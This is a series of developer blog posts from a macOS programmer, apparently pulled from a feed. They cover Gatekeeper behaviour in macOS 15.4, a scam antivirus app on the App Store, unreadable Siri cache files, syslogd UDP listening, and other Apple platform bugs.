Sometimes I think we don’t need passkeys, we just need ubiquitous strong password generation/entry that follows an IETF standard: not the flaky mess we get with password managers.
]]>
Gatekeeper change in macOS 15.4 https://lapcatsoftware.com/articles/2025/4/8.html 2025-04-24T17:45:00Z 2025-04-25T15:10:00Z Yesterday I came across an interesting Reddit post:

I sometimes drag and drop images straight from Safari into Photoshop. After updating to 15.4 this pops up when I do that and I need to allow it every single time manually. I can't find the setting to allow opening those automatically. Help would be appreciated!
efu3umeme7owe1.jpg.webp is an app downloaded from the Internet. Are you sure you want to open it?

I don't have Photoshop, but I was able to reproduce this behavior by downloading a WebP file from Safari and dragging it to the Dock icon of various apps, such as TextEdit and BBEdit. If you want to try yourself, the above image is itself a WebP file. Below is my screenshot (a PNG file, not WebP) of what I see on macOS 15.4.1 when dragging a downloaded WebP file to TextEdit.

how-to-get-rid-of-this-banner-v0-3r4f927x9owe1.jpeg.webp is an app downloaded from the Internet. Are you sure you want to open it?

Curiously, not every app triggers a permission request. Nothing stops me from dragging a downloaded WebP file to Preview app or Hex Fiend.

Your initial diagnosis of the issue might be Mac app sandboxing; after all, BBEdit and TextEdit are sandboxed, whereas Hex Fiend is not sandboxed. However, Preview is sandboxed, and if there were a special exemption granted to Apple apps, then you would think that TextEdit would be exempt too, but it isn't.

Luckily, I still have a macOS 15.2 boot volume available for testing on an external hard drive. (I never bothered to update it, because macOS updates take way too too much time nowadays.) On macOS 15.2, I was able to drag the exact same downloaded WebP file to TextEdit and BBEdit with no Gatekeeper alert! Thus, it appears that the Reddit poster was correct, and something did change recently.

I perused the unusually long Apple support document About the security content of macOS Sequoia 15.4, but nothing in there jumped out at me as the probable cause of the Gatekeeper change. With nothing else to draw upon—except of course my years of experience as a Mac developer—I was forced to speculate, to formulate my own theory.

I speculated that the presence or absence of a Gatekeeper alert on macOS 15.4 and later depended on the file types that the app supports for opening. These are declared by the CFBundleDocumentTypes key of the Info.plist file in the app bundle. Preview declares that it handles the specific types com.google.webp and org.webmproject.webp, as you would expect from an app designed to open image files. Although Hex Fiend doesn't declare that it handles WebP specifically, it does declare support for the public.image generic type. In contrast, BBEdit doesn't declare that it handles any image type, merely the even more generic public.data type, which applies to almost any file. TextEdit likewise declares that it handles public.data but no images.

One little (giant) snag in my theory is Photoshop. You would assume that Photoshop declares that it handles image types. But I don't know, because again, I don't use Photoshop, so I can't check its Info.plist file. If any readers have Photoshop installed, I'd welcome a copy of its CFBundleDocumentTypes declaration.

Addendum

A gracious reader sent me the Info.plist of Adobe Photoshop. Although it includes a long list of CFBundleDocumentTypes, many different images formats, I didn't find any generic image type, nor did I find an entry for WebP specifically. This seems to lend credence to my theory.

I also forgot to mention that the Gatekeeper alert appears when I drag the downloaded WebP file to Terminal app, which is not sandboxed, and which does not declare that it handles any image types.

Addendum April 25 2025

The Reddit post linked at the beginning of this blog post was deleted by the author. I'm not sure why. Maybe the author saw this post and didn't like the attention? Anyway, no matter, it's not essential, because I've now discovered that my theory was correct!

I created a test app (non-sandboxed) with the CFBundleDocumentTypes borrowed from the Info.plist of Terminal app, and I was able to reproduce the Gatekeeper alert. Then it was just a matter of deleting CFBundleDocumentTypes entries until I found the culprit. Here's a minimal test case:

<key>CFBundleDocumentTypes</key>
<array>
	<dict>
		<key>CFBundleTypeRole</key>
		<string>Viewer</string>
		<key>LSItemContentTypes</key>
		<array>
			<string>public.unix-executable</string>
		</array>
	</dict>
	<dict>
		<key>CFBundleTypeRole</key>
		<string>Viewer</string>
		<key>LSItemContentTypes</key>
		<array>
			<string>public.data</string>
		</array>
	</dict>
</array>

Specifically, the public.unix-executable entry triggers the Gatekeeper alert; the public.data entry is required just to allow the test app to accept random file drops. Strangely, though, the downloaded WebP file is not a Unix executable and does not have Unix executable permissions.

When I added a third entry to the CFBundleDocumentTypes, an entry for WebP, the Gatekeeper alert was no longer triggered:

<key>CFBundleTypeRole</key>
<string>Viewer</string>
<key>LSItemContentTypes</key>
<array>
	<string>com.google.webp</string>
	<string>org.webmproject.webp</string>
</array>

Thus, the narrow type in the declaration appears to take precedence over the more generic type.

I tried the same process of elimination with the CFBundleDocumentTypes from TextEdit and found that the culprit was the <string>com.apple.webarchive</string> entry. And from Script Editor app, which also triggers a Gatekeeper alert, the culprit was the CFBundleDocumentTypes app entry:

<key>CFBundleTypeExtensions</key>
<array>
	<string>app</string>
</array>
<key>CFBundleTypeName</key>
<string>application</string>
<key>CFBundleTypeOSTypes</key>
<array>
	<string>APPL</string>
</array>
<key>CFBundleTypeRole</key>
<string>Viewer</string>

Needless to say, the downloaded WebP file is not an app, nor is it a web archive (in Safari, you can save a website as a web archive). The file not even a bundle. So the new macOS 15.4 Gatekeeper behavior is bizarre. Perhaps it can be considered a bug?

The appearance or nonappearance of Gatekeeper alerts depends entirely on the downloaded file's extension. I edited the WebP file with a hex editor to make it into a plain text file, but it still triggered a Gatekeeper alert on opening in an app. On the other hand, when I kept the file contents the same, in WebP format, but changed the file extension to .txt, the Gatekeeper alert no longer appeared.

Overall, this feels like more security theater in macOS.

]]>
The weirdest HTML feature (or bug?): display your head https://lapcatsoftware.com/articles/2025/4/7.html 2025-04-24T15:20:00Z 2025-04-24T15:20:00Z According to the Mozilla Developer Network web docs, "The head of an HTML document is the part that is not displayed in the web browser when the page is loaded."

Wrong!

You can see my live example of the following HTML source, which works the same in every web browser.

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="initial-scale=1.0">
<style>* { display: block; } /* This is a style element in the head. */</style>
<script>console.log("This is a script element in the head.");</script>
<title>This is the title element in the head.</title>
</head>
<body>
<style>:root { color-scheme: light dark; } /* This is a style element in the body. */</style>
<script>console.log("This is a script element in the body.");</script>
</body>
</html>

For extra fun, I've actually added contenteditable="true" to the elements at the suggestion of a follower on Mastodon. Believe it or not, this allows you to live edit the title and CSS of the HTML document! You can also edit the text of the <script> elements, but that doesn't re-run the JavaScript.

By default, as defined by the user agent (browser) style sheet, HTML elements such as <script>, <style>, and <title> have a CSS display property of none, which is why you don't normally see those elements in the web page. However, it turns out that you can override the default and set display to a different value, thereby making the elements display.

I learned of this HTML "feature" by accident. My web browser extension StopTheMadness Pro can add custom <script> and <style> elements to a web page. A customer of StopTheMadness Pro reported that the custom element was getting displayed on a particular web page. After much debugging and hair pulling, I discovered the cause of the problem: the page style included the following CSS (more or less).

body > * { display: grid; }

The custom element added to the HTML body by StopTheMadness Pro was thus affected by the CSS and displayed on the page.

I personally consider the behavior to be a bug in HTML. Some elements should never display, were never meant to be displayed, as evidenced by the (inaccurate) documentation quoted at the beginning of this blog post. On the other hand, I've heard from some people who consider it a feature, a kind of self-documenting source code, as it were. I'm not even sure where exactly one would file a bug report against HTML itself? Anyway, since this cross-browser behavior is unlikely to change in the near future, I guess that I'm going to have to work around the issue by adding a style my <style> elements! It's styles all the way down.

]]>
App Store Curation https://lapcatsoftware.com/articles/2025/4/6.html 2025-04-23T21:50:00Z 2025-04-23T23:50:00Z I was looking at a nasty free (pirate?) video streaming website for a potential StopTheMadness Pro customer. You know the kind of site that opens a new browser tab with an advertisement every time you click on something? The things I do for a sale! Anyway, my verdict was that while StopTheMadness Pro could help with some annoyances on the site, the situation was hopeless overall. There are some problems that even I can't solve. Still, my investigation was somewhat productive, because one of the advertisements was interesting, caught my attention.

Apple Security Alert

Apple Security Alert

iOS in [sic] now 89% corrupted

Further damage to the system could result in device lockup and loss of all data. To prevent further damage to your system, install an antivirus app from the App Store, open it and run the cleaning procedure

Needless to say, the alert is not from Apple, and the domain apple-protect.com is not owned by Apple Inc.

I was naturally wary of clicking the "Remove viruses" button, but I found in the JavaScript debugger that the button simply opens a URL in the iOS App Store: https://apps.apple.com/app/virus-protection-for-phone/id6736693162

Virus Protection for Phone in the App Store

The app in question is Virus Protection for Phone, which claims to be "Trusted by millions of users worldwide". I don't know whether that's true, but for what it's worth, the app is currently ranked #88 in the free utilities category of the United States App Store. According to AppFigures, Virus Protection for iPhone is currently the #43 top grossing utility in the US App Store. Not bad for a "free" app, eh? That's certainly better than my paid app StopTheMadness Pro, also in the utilities category. As you might expect (of scam apps), Virus Protection for Phone has a number of expensive subscription options.

In-App Purchases: Activate protection (1 Week) $12.99, (1 Week) $9.99, (1 Week) $7.99, (1 Year) $69.99, (1 Month) $17.99

Don't count me among the supposed millions who trust Virus Protection for Phone. I'm skeptical just based on the name. Given that iOS App Store apps are strictly sandboxed, forbidden from accessing the reset of the system, a virus protection app for iPhone doesn't seem possible. Specifically, the app claims (ungrammatically) that it can "Scan Device to Remove Virus and Resolve Issues", which seems to me to be—what's the term I'm thinking of?—a bald-faced lie.

Ironically, the app also claims to have "Ads Protection":

A comprehensive system that allows you to protect your device in just a few clicks, making your internet surfing experience cleaner and faster. It helps protect your data and passwords from theft, and it also blocks phishing links, spam, and intrusive ads.

So can I assume that it would protect against the very web ad that led me to this app?

Virus Protection for Phone is currently at version 1.8 and has been in the App Store for five months. During that time, updates to the app have, let's see, fixed minor bugs and improved the server.

App Store Version History: - Minor bugs fixed, - Server improvement

The developer of Virus Protection for Phone is Virtual Advisors Limited. Have you heard of them? Me neither. Fortunately, the government of the UK appears to be keeping tabs on Virtual Advisors Limited. Oddly, the UK states that the company is to be dissolved and struck off the registry on April 29, 2025, six days from now. I'll have to check back on the App Store listing then.

The director of Virtual Advisors Limited is John Zimbe Kiwanuka, age 38, of Swedish nationality but English residence. Kiwanuka appears to be quite the entrepreneur, also involved with Superior Growth Partners Limited, Elevate Point Consulting Limited, Brum Consulting Limited, and East African Homes Limited, all in the past three years! Coincidentally, johnykiwa88@outlook.com is the support email address of Virus Protection for Phone.

The App Store ratings and reviews of Virus Protection for Phone are, shall we say, mixed? The ratings are mostly either 5 or 1, with few in between.

Ratings & Reviews: 3.8 out of 5, 139 Ratings

The most critical, 1-star reviews warn of a scam: "A lot of these reviews are fake. Don't trust them. Horrible app and should be reported".

Most Critical Reviews

On the other hand, the most favorable, 5-star reviews claim that the app is the "Best one of them all", a high compliment to say the least!

Most Favorable Reviews

One user who literally loves the app raves about, well, the automatically renewing subscription, which is a bit of an odd thing to rave about, as well as the absence of hidden fees, which I didn't know was a thing in the App Store, but I guess you learn something new every day! The expression of feeling in the review seems so sincere and enthusiastic, it assuredly couldn't be one of those fake reviews we were warned about.

I'll let you judge for yourself the honesty of the developer and the reviews. My own personal estimation is that they're, um, 89% corrupted, just to alert you.

Today the European Commission fined Apple €500 million for placing unnecessary restrictions on developers attempting to distribute their apps outside the iOS App Store. I didn't set out to write a blog post today after reading that news; indeed, I feel that almost everything that could be said about iOS lockdown has already been said, sometimes by me, and all of the arguments have been repeated ad nauseam over the years. I was simply responding to a support email about my own app. Yet the direct line to the App Store from the misleading web advertisement I encountered was too blatant and too apposite to ignore. Apple claims that locking down iOS to the App Store is justified in order to protect consumers from danger. Time and again, however, it's painfully obvious that Apple's so-called "curation" of the App Store is terrible, miserable, incompetent, negligent. I've seen no evidence that an app like Virus Protection for Phone is the exception, one that fell through the cracks. Rather, it seems to be the norm in the crApp Store. Usually the scams are so obvious that any competent person could spot them easily… except, somehow, Apple's own App Store employees, the very people supposedly enjoined to protect us.

]]>
UIApplication delegate deprecation coming in iOS 19 SDK https://lapcatsoftware.com/articles/2025/4/5.html 2025-04-19T15:40:00Z 2025-04-19T15:40:00Z I'm subscribed to an RSS feed for WebKit commits. (I cannot emphasize enough the utility of RSS.) My primary interest is WebKit changes related to Safari extensions, but this unrelated commit caught my eye: Fix deprecation warnings due to new SDK. You know how big companies bury bad news by announcing it on a Friday evening before a holiday weekend? Anyway, the commit doesn't specify which new SDK, but the diff clearly shows the affected API, all of which are declared by the UIApplicationDelegate protocol in the <UIKit/UIApplication> header file, and none of which are deprecated in the latest public iOS 18.4 SDK included with Xcode 16.3:

UIApplicationLaunchOptionsKey

-(BOOL) application: (UIApplication *)app openURL: (NSURL *)url options: (NSDictionary *)options

-(void) applicationWillResignActive: (UIApplication *)app

-(void) applicationDidEnterBackground: (UIApplication *)app

-(void) applicationWillEnterForeground: (UIApplication *)app

-(void) applicationDidBecomeActive: (UIApplication *)app

-(void) applicationWillTerminate: (UIApplication *)app

I have to assume, therefore, that the "new SDK" refers to iOS 19, presumably forthcoming at WWDC in June, and Apple engineers are already compiling WebKit with the iOS 19 SDK, hence the deprecation warnings.

According to the Apple developer document Managing your app’s life cycle:

When your app’s state changes, UIKit notifies you by calling methods of the appropriate delegate object:

It appears that the above documented recommendation will be passed along to the compiler in the iOS 19 SDK. Of course, deprecation of an API is not the same as removal of an API. Who knows when removal would occur, if ever. After all, these UIApplicationDelegate API were essential and ubiquitous. Removing the API from iOS would assuredly break many extant apps (including my own). In any case, this blog post is a head(er)s up.

]]>
Inaccessible .bnnsir files on macOS Sequoia, Part 3 https://lapcatsoftware.com/articles/2025/4/4.html 2025-04-17T16:20:00Z 2025-04-17T16:20:00Z My previous blog post mentioned that I filed a bug report with Apple: ~/Library/Group Containers/group.com.apple.CoreSpeech/Caches/onDeviceCompilationCaches/ recreated on every login with Siri disabled (FB17163068). I've now discovered—by manually browsing Feedback Assistant—that my bug report has been given the resolution "Investigation complete - Unable to diagnose with current information". This is despite the fact that the bug is 100% reproducible for me on two different Macs, and despite the fact that Apple has not requested more information from me, which is why I had to discover the so-called "resolution" myself.

Thus, I'm making a plea to my followers: if you can reproduce this bug, please let me know. And if you don't mind, let Apple know too. Moreover, if there are any Apple engineers reading this, could you please look at my bug report and maybe poke your colleagues about it? I wonder how it's an acceptable response to a bug report to simply close it and refuse to investigate further.

Below is the text of my bug report FB17163068.

Please describe the issue and what steps we can take to reproduce it: I've disabled Siri, but nonetheless if I delete the ~/Library/Group Containers/group.com.apple.CoreSpeech/Caches/onDeviceCompilationCaches/ directory, it gets recreated on every login. This also happens if I quit the corespeechd process.

Steps to reproduce:
  1. Enable Siri
  2. Disable Siri
  3. Delete ~/Library/Group Containers/group.com.apple.CoreSpeech/Caches/onDeviceCompilationCaches/
  4. Logout and login again

Expected results: ~/Library/Group Containers/group.com.apple.CoreSpeech/Caches/onDeviceCompilationCaches/ is still gone.

Actual results: ~/Library/Group Containers/group.com.apple.CoreSpeech/Caches/onDeviceCompilationCaches/ is recreated.

This is a problem because of FB17162985 hdiutil create copy error with Siri CoreSpeech .bnnsir files

]]>
Inaccessible .bnnsir files on macOS Sequoia, Part 2 https://lapcatsoftware.com/articles/2025/4/3.html 2025-04-08T16:40:00Z 2025-04-08T16:40:00Z A couple of months ago I wrote about inaccessible .bnnsir files on macOS Sequoia. This blog post is a follow-up. Yesterday the backup of my macOS Data volume failed with "copy error: Operation not permitted".

hdiutil create -encryption -format UDSB -srcfolder /Volumes/Data -noatomic -noscrub -volname 2025-4-8 -verbose -puppetstrings /Volumes/backup/2025-4-8.sparsebundle

The problem was caused by another .bnnsir file, this time located in the $TMPDIR/SpeechModelCache/ directory. (In Terminal, echo $TMPDIR shows the full file path on your disk.) When I was making the backup, I was booted into the recovery volume, with System Integrity Protection disabled, but the copy nonetheless failed. The $TMPDIR is emptied with every reboot, but my unfortunate timing was that the directory is emptied on the next boot into the volume containing $TMPDIR, so the previous contents were still there when I was making the backup.

In case you're wondering, the -skipunreadable flag to hdiutil does not help! The copy error still occurs.

My backup failure inspired me to look at these .bnnsir files again. Why are the files uncopyable, indeed unreadable? The reason is not the file extension itself. If I create new files with the .bnnsir file extension, I'm able to read and copy them. I've also found some other system-generated .bnnsir files, which I believe are actually new in macOS 15.4. These bnns_program.bnnsir files are located inside the ~/Library/Caches/icloudmailagent/com.apple.e5rt.e5bundlecache/ and ~/Library/Containers/Mail/Data/Library/Caches/com.apple.mail/com.apple.e5rt.e5bundlecache/ directories. I have no idea what their purpose is, but I can read and copy the files with no problems. By the way, I don't even use iCloud mail!

The reason is not the parent directory of the .bnnsir file either. If I add other files to the ~/Library/Group Containers/group.com.apple.CoreSpeech/Caches/onDeviceCompilationCaches/speakerRecognition directory, for example, the added files can be read and copied. There just appears to be something special—I know not what exactly—about the .bnnsir files created by Siri that prevent the files from access by anything except Siri. I suppose. that I would need to reverse engineer the macOS kernel to find out why; I don't feel like making that enormous effort, though, because it would still not provide me with a solution to my problem.

I know that the group.com.apple.CoreSpeech .bnnsir files are created by Siri because the file names actually end in -en-IE.bnnsir, indicating Irish English. To avoid software update automatically enabling Apple Intelligence, I switched my Siri language from English (United States) to English (Ireland). According to System Settings, "Apple Intelligence requires that Mac and Siri are set to the same language." Nonetheless, Siri creates the onDeviceCompilationCaches directory regardless of the Siri language setting.

The $TMPDIR/SpeechModelCache/ directory is gone for now. I believe that it was created by the macOS 15.4 update, so I should be safe there at least until the next macOS update. On the other hand, deleting the ~/Library/Group Containers/group.com.apple.CoreSpeech/Caches/onDeviceCompilationCaches/ directory doesn't last very long, because Siri re-creates it on every login. In fact, Siri will re-create it if you simply quit the corespeechd process, which runs as your user and gets automatically relaunched. (I enabled a Folder Action to notify me whenever a file is added to ~/Library/Group Containers/group.com.apple.CoreSpeech/Caches/ folder.) This re-creation occurs even when Siri is disabled! (However, it may depend on Siri having been enabled at least one in the past.) And it occurs even when your internet is disabled, so clearly the files aren't getting redownloaded every time. Ironically, macOS needs a second cache for data that is already cached somewhere on disk. My suspicion is that the data is coming from within the /System/Library/AssetsV2 directory. I'm honestly too afraid to find out, by deleting subdirectories (which is possible with SIP disabled). I don't want to accidentally break my system.

I've now filed two bug reports with Apple Feedback Assistant: (FB17162985) hdiutil create copy error with Siri CoreSpeech .bnnsir files and (FB17163068) ~/Library/Group Containers/group.com.apple.CoreSpeech/Caches/onDeviceCompilationCaches/ recreated on every login with Siri disabled. The worst part about these problems is that disabling SIP doesn't help. I feel like my Mac is no longer my own, when I can't read or copy files on my own disk.

]]>
Why is macOS syslogd listening for UDP connections? https://lapcatsoftware.com/articles/2025/4/2.html 2025-04-07T18:55:00Z 2025-04-07T19:55:00Z Today, out of the blue, Little Snitch alerted me to an incoming connection attempt from IPv4 address 142.250.191.99 to UDP port 56878. (I denied the connection.) The IP address is in a range controlled by Google.

Little Snitch connection alert

According to Little Snitch Network Monitor, there were no previous connection attempts of any kind to the syslogd process over the last month. Moreover, there were no previous incoming connection attempts from 142.250.191.99 to any port or process. However, there were a number of outgoing connection attempts to that IP address. Indeed, there was an outgoing connection to 142.250.191.99 at the same time as the incoming connection attempt to port 56878. The outgoing connection was from Safari to fonts.gstatic.com on UDP port 443, using the QUIC protocol. It's very common for web pages to load Google Fonts, and I was viewing a web page in Safari at the time of the Little Snitch alert.

It's crucial to note that there are two ports involved in any internet connection, the local port and the remote port. In this case, 56878 is the local port on my Mac. With the UDP QUIC protocol, 443 is the remote port on the web server, the same port that's used for https TCP connections.

The syslogd process is the Apple System Log server, located at /usr/sbin/syslogd on disk. According to the man page for syslogd:

The syslogd server receives and processes log messages. Several modules receive input messages through various channels, including UNIX domain sockets associated with the syslog(3), asl(3), and kernel printf APIs, and optionally on a UDP socket from network clients.

The man page also describes the options to syslogd, including -udp_in:

The “udp_in” module receives log messages on the UDP socket associated with the Internet syslog message protocol.

This module is normally enabled, but is inactive. The actual UDP sockets are managed by launchd, and configured in the syslogd configuration file /System/Library/LaunchDaemons/com.apple.syslogd.plist. In the default configuration, launchd does not open any sockets for the “syslog” UDP service, so no sockets are provided to the “udp_in” module. If no sockets are provided, the module remains inactive. A socket may be specified by adding the following entry to the “Sockets” dictionary in the com.apple.syslogd.plist file.

Thus, the man page implies that syslogd should not be listening for UDP connections by default. Nonetheless, it is! When I ran the command sudo lsof -i in Terminal (lsof is short for list open files, and the -i option is short for Internet), the list included syslogd running as the root user, listening for UDP connections on port 56878.

The port number 56878 appears to be randomly selected. I booted into several macOS volumes, and the syslogd listening port number was different every time. By the way, I saw the syslogd UDP listener going all the way back to macOS 12 Monterey, but not on macOS 11 Big Sur.

Based on the given information, here's my theory, or speculation: the outgoing QUIC connection to fonts.gstatic.com randomly selected the same local UDP port that syslogd also randomly selected. It was pure coincidence, perhaps rare, yet with a non-zero chance of occurring. That's why Google was suddenly, almost magically—it turns out unintentionally—attempting to connect to syslogd. Google was innocently attempting to return the font data requested by Safari, but syslogd happened to be listening for data on that port already.

The remaining question is, why was syslogd listening for UDP connections from the internet in the first place? Unfortunately, I don't have an answer to that question. In any case, it doesn't seem like a good idea.

Addendum

I said, "By the way, I saw the syslogd UDP listener going all the way back to macOS 12 Monterey, but not on macOS 11 Big Sur." In retrospect, I think this was just because my Mac mini was already booted into Big Sur when I started testing. After booting into other macOS versions and later booting back into Big Sur, I see the syslogd UDP listener there too.

Apparently syslogd isn't listening on a UDP port 100% of the time. Currently, it's not listening on my MacBook Pro (according to sudo lsof -i), though it was when I first checked, and of course when the Little Snitch alert appeared. I have no idea when or why syslogd starts and stops listening.

]]>
NSURLComponents changed in macOS 15.4 https://lapcatsoftware.com/articles/2025/4/1.html 2025-04-07T15:35:00Z 2025-04-07T15:35:00Z Apple played an April Fools joke on developers. A few days ago I had to release a Link Unshortener update to fix the link-unshortener: custom URL scheme on macOS 15.4. The purpose of the scheme is to pass URLs to my app Link Unshortener. For example:

link-unshortener:https://example.org/

Consider the following Objective-C code:

NSURL * url = [NSURL URLWithString: @"link-unshortener:https://example.org/"];
NSURLComponents * components = [NSURLComponents componentsWithURL: url resolvingAgainstBaseURL: NO];
[components setScheme: nil];
NSLog(@"%@", [components string]);

More or less forever—I've tested all the way back to macOS High Sierra—the return value of the method [NSURLComponents string] was https://example.org/ in this case. However, unfortunately, the return value is now https%3A//example.org/ in macOS 15.4. For some reason, the : character has been percent-encoded. The new return value is not a valid URL, and thus Link Unshortener could not open it.

I've worked around the issue in the latest version of Link Unshortener, but why in the world did Apple change the longstanding behavior of a developer API in a "minor" OS update, without even a linked-on-or-after check? Whatever happened to binary compatibility? From the outside, it's difficult to determine whether the change was intentional or unintentional, e.g., a bug. My own theory is that it was an attempted fix for another bug. In any case, Apple really needs to be more careful. Things like this should not be breaking almost seven months after the release of macOS Sequoia. Isn't the OS supposed to become less buggy over time, not more?

]]>
Apple Software Update dark pattern https://lapcatsoftware.com/articles/2025/3/4.html 2025-03-31T18:50:00Z 2025-03-31T19:15:00Z I just installed today's macOS 15.4 and iPadOS 18.4 updates. Incidentally, before updating my Mac mini, I got an "Upgrade to macOS Sequoia" notification even though the Mac was already running Sequoia (15.3.2).

Upgrade to macOS Sequoia

After the updates, both my Mac mini and my iPad showed one of the most confusing "welcome" screens that I've ever seen. Indeed, they confused even me!

Software Update Complete

Your Mac has been updated to macOS Sequoia. Future software updates will be automatically downloaded and installed for you as they're released. You can manage this in Software Update settings.

Software Update Complete

I always disable automatic OS updates, and I wanted to continue disabling automatic OS updates. The two options given were "Continue" and "Only Download Automatically". Which of those two did I want? Confused, I selected Continue.

I turns out that I wanted neither. What I forgot while viewing the welcome screen is that automatic updates are divided into two settings: download and install. This only became obvious later, when I opened System Settings.

System Settings Software Update

When I saw "Only Download Automatically" in the welcome screen, I naturally interpreted download as download and install. That's why I avoided the option, instead choosing Continue. That feels like a dark pattern to me. In this case, to continue was to enable both automatic downloads and automatic installs. Apple did not provide an option to disable both automatic downloads and automatic installs, despite the fact that both were disabled before the macOS 15.4 update.

The only positive thing I can say about this new, horrible welcome screen is that at least it didn't enable Apple Intelligence.

You might ask, why do I care if I'm installing the new updates as soon as they're released? Well, I installed the updates immediately on some of my devices—which I use as test devices—but I've not yet updated my primary devices. Moreover, I don't want the next major OS updates (macOS 16 and iOS 19, presumably) crammed down my throat automatically. In any case, it's a matter of user control and choice: I chose not to automatically download or install software updates, but now Apple deliberately disrespects my choices. That's simply wrong, ethically wrong.

]]>
For sale: 16-inch M1 MacBook Pro with new battery https://lapcatsoftware.com/articles/2025/3/3.html 2025-03-17T16:05:00Z 2025-03-17T16:10:00Z I'm selling my M1 MacBook Pro, because I recently purchased an M4 MacBook Pro with nano-texture display. Although my M1 MacBook Pro is less than three years old, purchased in April 2022, and still a great machine—I honestly haven't noticed a difference in performance between the M1 and M4 MacBook Pro—I decided to upgrade now for several reasons: I've been waiting over a decade for Apple to make another matte MacBook Pro, I was worried about tariffs making new Macs more expensive later, and I wasn't able to get onsite, same-day battery replacement for my M1 MacBook Pro. After switching over the M4 MacBook Pro, I was free to send the M1 MacBook Pro off to Apple to get the battery replaced under AppleCare. The new battery has zero charge cycles, 100% maximum capacity.

Since eBay fees have become ridiculous, I've decided to try my luck with the followers of my blog and social media accounts. I'm asking $900 USD plus shipping for the MacBook Pro, shipped from Wisconsin with the method of your choice. The full price is to be paid in advance via PayPal. As a bonus, I'll throw in App Store promo codes for all of my software.

The MacBook Pro has a silver case with 16-inch display, M1 Pro chip (10-core CPU, 16-core GPU), 16GB RAM, 1TB SSD. It comes with the original box (because I'm a bit of a hoarder) and the original 140W MagSafe power adapter. The model number is A2485. Here are the technical specifications: https://support.apple.com/111901.

My understanding is that my yearly AppleCare+ plan for the MacBook Pro is unfortunately not transferable:

If you make monthly or annual payments for your AppleCare plan, and your plan is already linked to an Apple Account, then it can't be transferred to a new owner.

Please contact me if you're interested in purchasing my MacBook Pro. I'm happy to answer any questions or provide further details.

Photo of MacBook Pro

Screenshot from MacBook Pro

]]>
Why are macOS security updates re-running the Setup Assistant? https://lapcatsoftware.com/articles/2025/3/2.html 2025-03-12T00:40:00Z 2025-03-12T00:40:00Z Today I updated my Mac mini and MacBook Pro from macOS 15.3.1 to 15.3.2. According to Apple's release notes for macOS 15.3.2, "This update provides important security fixes and is recommended for all users." The use of the plural "security fixes" seems a bit misleading, because Apple has documented only one security fix in 15.3.2, for a bug in WebKit: "Maliciously crafted web content may be able to break out of Web Content sandbox." In any case, macOS 15.3.2 appears to be entirely, or at least mostly, a security update. And the update was uneventful on my Mac mini, though of course overlong, as all macOS updates are nowadays. On my MacBook Pro, however, the update was… not uneventful. For some reason, immediately after the update, the Setup Assistant ran again, as if I were setting up a new Mac.

Setup Assistant: Apple Intelligence

I suspect that the Setup Assistant would have re-enabled Apple Intelligence if I hadn't already intentionally mismatched my system and Siri languages to prevent that very outcome.

System Settings: Apple Intelligence & Siri

My theory is that the Setup Assistant is the reason that Apple Intelligence is re-enabled on some Macs but not on others. There are reports that today's iOS 18.3.2 re-enables Apple Intelligence, but I haven't seen it because neither my iPhone nor my iPad are new enough to support the feature.

After Apple Intelligence, the next page of the Setup Assistant wanted me to upload 4.55 GB of files to iCloud Drive! Indeed, "Store files from Documents and Desktop in iCloud Drive" was checked by default in the Setup Assistant, despite the fact that I have never stored files from Documents and Desktop in iCloud Drive. How in the world does a minor security update opt you into such a massive change?

Setup Assistant: All your files in iCloud

The next page of the Setup Assistant welcomes me to Mac. Thanks, but I've been using Macs since 2002. It's a little late to welcome me. I've been using this particular MacBook Pro for a much shorter period of time, but still I've already been using it and don't need to be welcomed again.

Setup Assistant: Welcome to Mac

What kind of crazy bug is causing the Setup Assistant to run needlessly on macOS updates? And more importantly, how can we stop it from happening again? Before Apple redesigns the entire user interface of macOS 16, as rumored—since the redesign of System Preferences apparently wasn't bad enough—they really need to fix this bug. And literally a million other bugs.

]]>
iCloud remotely triggers iMessage sign-in and sync https://lapcatsoftware.com/articles/2025/3/1.html 2025-03-03T15:45:00Z 2025-03-03T15:45:00Z I stopped using iMessage on iPhone many years ago after delivery failure of some messages from my family. (Although SMS is less secure, it has never failed me.) However, a couple of years ago I started using iMessage on my main computer, a MacBook Pro, to remain in contact with some people after I left Twitter. Yesterday I was preparing my old MacBook Pro for sale, because I recently bought a new M4 MacBook Pro with nano-texture display, and one of the preparation steps was to sign out of iMessage on the old MacBook Pro. For some reason, this caused my new MacBook Pro to become signed out of iMessage too, so I had to sign in again there. Today when I was using my iPad, I got a mysterious "Device Added to Your Account" notification on my (new) MacBook Pro saying that an iPad now has access to iMessage. I ignored the notification, chalking it up to yesterday's weirdness. But then when I was using my Mac mini, I got another notification on my MacBook Pro, this time saying that a Mac now has access to iMessage.

I had never used or signed in to iMessage on my iPad or Mac mini. In fact they're both merely test devices for software development purposes and contained very little personal data. Nonetheless, upon checking the devices, I discovered that iMessage was enabled, signed in, and had downloaded my private iMessage conversations!

Meanwhile, I got a "Device Added to Your Account" notification on my iPad, but for some reason not on either of my Macs, saying that a Mac now has access to FaceTime.

Device Added to Your Account

Helpfully, the notification did not specify which Mac exactly. It turns out that FaceTime was now signed in on both Macs, despite the fact that I hadn't yet ever used FaceTime on my new MacBook Pro, and my Mac mini doesn't even have a camera!

How is it possible that my iPad and Mac mini were now suddenly signed in to iMessage, and my Macs signed in to FaceTime, if I didn't give them my Apple Account credentials? The answer, I believe is iCloud. All three devices were signed in to iCloud. I don't use iCloud for any personal data—and Messages in iCloud has always been disabled, by the way—but I do use iCloud to test the sync features of the apps that I develop. Since iCloud already has my Apple Account credentials, it could use (abuse) them to automatically sign in to iMessage or FaceTime.

I've never signed in to iCloud on my iPhone, because I don't want iCloud to touch my personal data on the phone, and I have less control over iPhones than over Macs (for example, there's no Little Snitch for iPhone). When I checked my iPhone, both iMessage and FaceTime remained signed out and disabled, which seems to support the conclusion that iCloud was the culprit. My iPhone is signed in to the App Store and to Apple Music, so my credentials are theoretically available on the device, but those two services appear to be less pervasive and invasive than iCloud.

This situation reminds me of when I discovered that my Mac mini, a test machine, had downloaded a copy of my passwords from iCloud Keychain without my knowledge. After I discovered that my private iMessage conversations had been downloaded too, I was able to delete them easily from my Mac mini, since the data is in the ~/Library/Messages folder. However, I've been unable to completely delete the iMessage conversations from my iPad. In the iPad Storage section of the Settings app, some conversations, attachments, and videos appeared, which I selected and trashed. Unfortunately, at least one conversation remains, which I can see when I open the Messages app but which the Settings app for some reason does not show. I can't delete the conversation from the Messages app either, because the conversation is behind a modal sign-in window, so ironically I'd have to sign in to iMessage again, and I'd rather not trigger the same damnable behavior a second time.

